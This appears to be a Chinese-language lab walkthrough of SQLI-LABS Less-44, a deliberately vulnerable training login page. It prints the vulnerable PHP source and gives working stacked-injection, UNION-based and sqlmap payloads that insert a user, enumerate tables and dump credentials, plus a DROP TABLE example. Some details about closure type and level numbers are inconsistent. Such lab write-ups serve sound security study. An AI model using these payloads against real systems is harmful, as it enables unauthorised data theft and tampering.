目錄
一、堆疊注入
二、源碼分析
1、代碼審計
2、SQL注入安全性分析
三、堆疊手注法
1、進入靶場
2、正確用戶名密碼登錄
3、堆疊注入
4、查看數據庫
四、聯合手注法
1、獲取列數
2、確認回顯位
3、獲取數據庫名
4、獲取表名
5、獲取列名
6、獲取字段?
7、總結
五、sqlmap滲透實戰
SQLI-LABS 是一個專門為學習和練習 SQL 注入技術而設計的開源靶場環境,本小節使用堆疊手注、聯合手注法、腳本法共3種方法對第44關Less 44基于POST字符型的堆疊注入關卡進行滲透實戰。??
一、堆疊注入
堆疊注入是一種特殊的SQL注入技術,攻擊者通過在原始查詢后添加分號(;),然后拼接額外的SQL語句實現多語句執行。與普通注入不同,堆疊注入允許攻擊者一次執行多個完全獨立的SQL命令,從而極大擴展了攻擊面。這種技術的關鍵在于數據庫服務器支持多語句執行,例如MySQL的mysqli_multi_query()函數或SQL Server的默認配置都允許這種操作。
分類 | 說明 |
---|---|
技術名稱 | 堆疊注入(Stacked Injection) |
核心原理 | 通過在原始SQL查詢后添加分號(; )拼接額外SQL語句,實現多語句連續執行。 |
攻擊示例 | SELECT * FROM users WHERE id=1; DROP TABLE users-- |
關鍵依賴 | 數據庫服務器需支持多語句執行(如MySQL的mysqli_multi_query() )。 |
典型危害 | 數據刪除(DELETE )、表結構修改(ALTER )、權限提升(GRANT )等。 |
高危操作 | 執行任意數據庫命令,遠超普通注入的數據泄露范圍。 |
常見支持場景 | SQL Server(默認支持)、MySQL(需特定驅動如PDO/mysqli啟用多語句功能)。 |
不支持場景 | PHP的mysql_query() 函數(默認禁用多語句)。 |
防御措施 | 1. 禁用多語句執行功能 2. 嚴格使用參數化查詢 3. 實施最小權限原則。 |
技術優勢 | 可突破單語句限制,實現更復雜的數據庫操作。 |
檢測難度 | 較普通注入更難檢測,需監控異常分號和多語句執行行為。 |
二、源碼分析
1、代碼審計
本關卡Less44是基于POST字符型的堆疊注入關卡,如下所示。
Less45關卡的login源碼功能是簡單基于用戶名和密碼的登錄頁面,與44關的區別在于SQL語句中參數的字符閉合方式不同,對比如下所示。
- 當 mysqli_store_result() 函數調用失敗時,42關調用報錯函數,43關不打印數據庫報錯。
- 當?
mysqli_multi_query()
?執行失敗時,42關調用報錯函數,43關不打印數據庫報錯。
詳細注釋過的login.php源碼如下所示。
<?php
session_start(); // 開啟會話管理
include("../sql-connections/db-creds.inc"); // 加載數據庫配置/*** 用戶登錄驗證函數* @param string $host 數據庫地址* @param string $dbuser 數據庫用戶名* @param string $dbpass 數據庫密碼 * @param string $dbname 數據庫名* @return string|int 成功返回用戶名,失敗返回0*/
function sqllogin($host,$dbuser,$dbpass, $dbname){// 建立數據庫連接$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);// 獲取并轉義用戶輸入$username = mysqli_real_escape_string($con1, $_POST["login_user"]); // 用戶名轉義$password = $_POST["login_password"]; // 密碼未轉義(安全風險)// 連接檢查if(mysqli_connect_errno($con1)) {echo "Failed to connect to MySQL: " . mysqli_connect_error();} else {@mysqli_select_db($con1, $dbname) or die("Database connection failed");}// 構造SQL查詢(存在注入風險)$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";// 執行多語句查詢(高危)if(@mysqli_multi_query($con1, $sql)) {// 處理查詢結果if($result = @mysqli_store_result($con1)) {if($row = @mysqli_fetch_row($result)) {return $row[1] ? $row[1] : 0; // 返回用戶名或0}} else {// 顯示錯誤詳情(不安全)echo '<font size="5" color="#FFFF00">';print_r(mysqli_error($con1));echo "</font>"; }} else {// 查詢錯誤處理echo '<font size="5" color="#FFFF00">';print_r(mysqli_error($con1));echo "</font>"; }
}// 執行登錄驗證
$login = sqllogin($host,$dbuser,$dbpass, $dbname);if(!$login == 0) { // 登錄成功$_SESSION["username"] = $login; // 存儲會話setcookie("Auth", 1, time()+3600); // 設置1小時有效cookieheader('Location: logged-in.php'); // 跳轉
} else { // 登錄失敗
?><!-- 失敗提示 --><tr><td colspan="2" style="text-align:center;"><br/><p style="color:#FF0000;"><center><img src="../images/slap1.jpg"> <!-- 錯誤圖片 --></center></p></td></tr>
<?php } ?>
</body>
</html>
本關卡實現了一個簡單的用戶登錄系統,但存在堆疊SQL注入的風險。系統通過表單接收用戶名和密碼,然后查詢數據庫進行驗證,登錄成功后設置會話cookie并跳轉頁面,失敗則顯示錯誤圖片。系統在登錄成功后,會將用戶名存入session并設置一個簡單的認證cookie。
-
前端展示:黑色背景、黃色文字的簡單界面,含首頁鏈接
-
會話啟動:
session_start()
初始化會話 -
數據庫連接:加載配置并建立MySQL連接
-
輸入處理:用戶名經過
mysqli_real_escape_string
轉義,密碼直接使用原始輸入(高危) -
認證查詢:拼接SQL查詢用戶憑證
-
結果處理:
-
成功:存儲會話、設置cookie并跳轉
-
失敗:顯示錯誤圖片,不再打印數據庫報錯函數,說明無法使用報錯法注入
-
2、SQL注入安全性分析
很明顯本關卡存在堆疊查詢(Stacked Query)SQL注入風險,主要的安全問題在于通過POST傳入了兩個參數,分別為用戶名和密碼。不過代碼僅對用戶名參數使用了mysqli_real_escape_string轉義過濾,而對密碼字段沒有進行任何過濾處理,直接拼接到SQL語句中導致存在SQL注入風險。因此攻擊者可以通過構造特殊密碼來繞過認證或執行惡意SQL命令。此外,代碼使用了支持多語句查詢的mysqli_multi_query函數,進一步增加了堆疊注入的風險。具體如下所示。
-
堆疊注入存在根源:
-
使用
mysqli_multi_query()
函數執行SQL查詢。 -
未對用戶輸入的
$password
進行任何過濾或轉義。
-
-
堆疊注入利用方式:
-
通過分號(;)分隔可以執行多條SQL語句。
-
攻擊者可執行任意SQL命令:
SELECT...; INSERT...; UPDATE...; DROP...
等。 -
支持所有數據庫操作,不僅僅是數據查詢。
-
閉合方式為單引號括號。
-
三、堆疊手注法
1、進入靶場
進入sqli-labs靶場首頁,其中包含基礎注入關卡、進階挑戰關卡、特殊技術關卡三部分有效關卡,如下所示。
http://192.168.59.1/sqli-labs/
點擊進入Page3堆疊注入,如下圖紅框所示。?
其中第44關在堆疊挑戰關卡“SQLi-LABS Page-3 (Stacked Injections)”中,?點擊進入如下頁面。
http://192.168.59.1/sqli-labs/index-2.html#fm_imagemap
點擊上圖紅框的Less44關卡,進入到靶場的第44關卡字符型堆疊注入關卡,頁面顯示登錄框,需要輸入用戶名和密碼,具體如下所示。
http://192.168.59.1/sqli-labs/Less-44
2、正確用戶名密碼登錄
輸入用戶名admin,密碼mooyuan123456,效果如下所示。
查看元素-網絡,此時點擊登錄后提示進入登錄成功,當前用戶為admin,此時進入了修改密碼的頁面,具體如下圖所示。
此時發現登錄過程中產生兩個報文,第一個是登錄的POST報文,參數分別為用戶名和密碼,效果如下所示。
此時注意登錄報文POST參數內容如下所示。
login_user=admin&login_password=mooyuan123456&mysubmit=Login
將報文發送到repeater模塊,右鍵將報文通過copy-to-file保存到sqli-labs44.txt。
第二個報文為logged-in.php,登錄成功會重定向到此頁面,如下所示。
此時點擊login_out退出登錄,如下所示。
點擊退出登錄后再次回到登錄頁面,如下所示?
3、堆疊注入
根據源碼分析可知本關卡具有堆疊注入安全風險,閉合方式為單引號,目標是通過堆疊注入命令插入一個新的用戶,id為44,用戶名為mooyuan_44,密碼為mooyuan,此時密碼內容如下所示。
mooyuan123456';insert into users(id,username,password) values ('44','mooyuan_44','mooyuan')#
輸入用戶名和密碼后的頁面如下所示。?
這時候用戶名設置為admin,點擊登錄后頁面顯示我們admin賬戶登錄成功,滲透成功。?
此時buipsuite中找到此POST報文,POST參數內容如下所示。
4、查看數據庫
使用navicat查看數據庫的users表,如下所示新增用戶id為44,用戶名為mooyuan_44,密碼為mooyuan,說明滲透成功。
四、聯合手注法
本關卡可以使用UNION聯合注入滲透,注入語句如下所示。
1、獲取列數
如下所示,order by為3時滲透成功,但是order by為4時提示列不存在,故而共有3列。
ORDER BY 3 成功 - 參數: mooyuan123456' ORDER BY 3--
ORDER BY 4 失敗 - 參數: mooyuan123456' ORDER BY 4--
在burpsuite的repeater模塊進行order by滲透,如下所示order by為3時滲透成功。
接下來嘗試order by為4滲透,如下所示order by為4時滲透失敗。?
2、確認回顯位
Payload: admin' UNION SELECT 1,2,3--
如下所示,回顯位為2,接下來我們使用第2個回顯位進行滲透。?
3、獲取數據庫名
如下所示,數據庫的名稱為“security”。
Payload: admin' UNION SELECT 1,DATABASE(),3--
4、獲取表名
如下所示,數據庫security共有4個表格,分別為emails,referers,uagents,users。
Payload: admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--
5、獲取列名
如下所示,數據庫users表的列名分別為id,username,password。
Payload: admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--
6、獲取字段?
最后通過上一步獲取到的列名來提取users表的內容,如下所示滲透成功。
Payload: admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--
7、總結
本關卡使用聯合注入法的完整手注語句如下所示。?
[+] 第一步:獲取最大列數
ORDER BY 3 成功 - 參數: mooyuan123456' ORDER BY 3--
ORDER BY 4 失敗 - 參數: mooyuan123456' ORDER BY 4--
[+] 確定最大列數: 3[+] 第二步:確認回顯
Payload: admin' UNION SELECT 1,2,3--
[+] 確定回顯位: 2[+] 第三步:獲取數據庫名
Payload: admin' UNION SELECT 1,DATABASE(),3--
[+] 獲取到數據庫名: security[+] 第四步:獲取數據庫security的所有數據庫表格tables
Payload: admin' UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--
[+] 獲取到數據庫所有表名: emails,referers,uagents,users[+] 第五步:獲取數據庫security的users表的所有列名
Payload: admin' UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--
[+] 獲取到users表的所有列名:id,username,password[+] 第六步:獲取數據庫security的users表的所有username和password
Payload: admin' UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--
[+] 獲取users表用戶名和密碼:Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:mooyuan123456,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4,admin'#mooyuan:123456,mooyuan_38:mooyuan,mooyuan_39:mooyuan,mooyuan_40:mooyuan,mooyuan_41:mooyuan,mooyuan_42:mooyuan,mooyuan_43:mooyuan,mooyuan_44:mooyuan
五、sqlmap滲透實戰
我們使用sqlmap來進行滲透,參數的含義是獲取當前數據庫名稱(--current-db)并導出所有數據(--dump),全程自動執行無需人工交互(--batch),完整的SQL注入命令如下所示。
sqlmap -r sqli-labs44.txt --current-db --dump --batch
其中sqli-labs44.txt中的注入點被修改為如下所示,特別注意此時在login_password參數后面增加*字符,標識login_password為注入點。
POST /sqli-labs/Less-44/login.php HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/sqli-labs/Less-44/
Cookie: PHPSESSID=m0giifsk3g3t8p9p7j9g0klb42
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 60login_user=admin&login_password=mooyuan123456*&mysubmit=Login
sqlmap滲透成功,可以通過布爾盲注、時間盲注等方法滲透成功,具體信息如下所示。
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 251 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)Type: boolean-based blindTitle: AND boolean-based blind - WHERE or HAVING clausePayload: login_user=admin&login_password=mooyuan123456' AND 2034=2034 AND 'obKi'='obKi&mysubmit=LoginType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: login_user=admin&login_password=mooyuan123456' AND (SELECT 3121 FROM (SELECT(SLEEP(5)))eTBt) AND 'peKL'='peKL&mysubmit=Login
---
[21:58:06] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
[21:58:06] [INFO] fetching current database
[21:58:06] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[21:58:06] [INFO] retrieved: securityTable: emails
[8 entries]
+----+------------------------+
| id | email_id |
+----+------------------------+
| 1 | Dumb@dhakkan.com |
| 2 | Angel@iloveu.com |
| 3 | Dummy@dhakkan.local |
| 4 | secure@dhakkan.local |
| 5 | stupid@dhakkan.local |
| 6 | superman@dhakkan.local |
| 7 | batman@dhakkan.local |
| 8 | admin@dhakkan.com |
+----+------------------------+